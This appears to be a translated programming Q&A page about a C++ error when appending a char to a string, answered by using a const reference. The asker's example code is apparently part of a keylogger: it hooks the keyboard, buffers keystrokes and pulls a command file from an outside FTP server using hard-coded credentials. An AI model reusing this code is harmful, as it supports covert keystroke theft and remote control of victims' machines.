有没有办法"reconst"非常量字符?

Is there any way to "reconst" a nonconst char?

本文关键字:常量 字符 非常 reconst 有没有      更新时间:2023-10-16

假设我有一个非正则的字符或字符数组。我修改它,等等。然后我想以后关闭所有修改后。有什么方法可以重新定义一个字符吗?这个问题出现在我写以下内容的时候:我在将每个char元素附加到字符串中遇到了麻烦(后来用操作符+=修复了这个问题)。

#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
using std::string;
using std::cout;
using std::cin;
using std::vector;
unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);

string tempkeylog_buffer;
char ftpreadbuffer[1024];
vector<string> filetokens;
unsigned int threadid = 0;
DWORD numberread = 0;

int main(){
_beginthreadex(NULL,  0, &keylogthreadhook, NULL, 0, &threadid);
HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
cout << GetLastError();
HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
cout << GetLastError();
HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ,FTP_TRANSFER_TYPE_ASCII, NULL);
cout << GetLastError();
InternetReadFile(filehandle, (char *)ftpreadbuffer, 1024, &numberread);
cout << GetLastError();
string temporarystr;

for(int i = 0; ftpreadbuffer[i] != '.'; i++){
    if(ftpreadbuffer[i] == 'n'){
        filetokens.push_back(temporarystr);
        temporarystr.clear();
    }
    temporarystr.append(ftpreadbuffer[i]); //error here!

}
cout << filetokens[0].c_str() << filetokens[1].c_str();


return 0;
}

错误 :-------------------------------------

invalid conversion from 'char' to 'const char*'|
error:   initializing argument 1 of 'std::basic_string<_CharT, _Traits, _Alloc>&       std::basic_string<_CharT, _Traits, _Alloc>::append(const _CharT*) [with _CharT = char, _Traits = std::char_traits<char>, _Alloc = std::allocator<char>]'|

我将使用一个简单的方法,例如:

std::string modifiable_string = "Hello";
modifiable_string += " Jack!";
...
const std::string &const_string = modifiable_string;
//                ^
//                It's up to you, you can drop it
...
just use const_string
const_string += " Bye"; // ERROR
...